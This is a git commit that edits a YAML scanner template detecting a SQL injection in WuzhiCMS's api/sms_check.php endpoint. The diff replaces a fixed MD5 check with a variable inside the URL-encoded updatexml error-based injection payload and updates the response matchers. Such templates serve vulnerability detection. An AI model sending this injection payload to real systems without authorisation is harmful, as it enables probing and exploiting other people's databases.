Update wuzhicms-sqli.yaml

patch-1
Ritik Chaddha 2022-06-30 08:46:19 +05:30 committed by GitHub
parent be8560b788
commit 28e6e03fc5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 7 deletions

View File

@ -8,18 +8,21 @@ info:
- https://github.com/wuzhicms/wuzhicms/issues/184
tags: wuzhicms,sqli
variables:
num: "999999999"
requests:
- method: GET
path:
- "{{BaseURL}}/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20"
- "{{BaseURL}}/api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5({{num}})),0x7e),1)--%20"
matchers-condition: and
matchers:
- type: word
words:
- '{{md5({{num}})}}'
part: body
- type: status
status:
- 200
- type: word
words:
- "81dc9bdb52d04dc20036dbd8313ed05"
- "sql_error:MySQL Query Error"
part: body
condition: and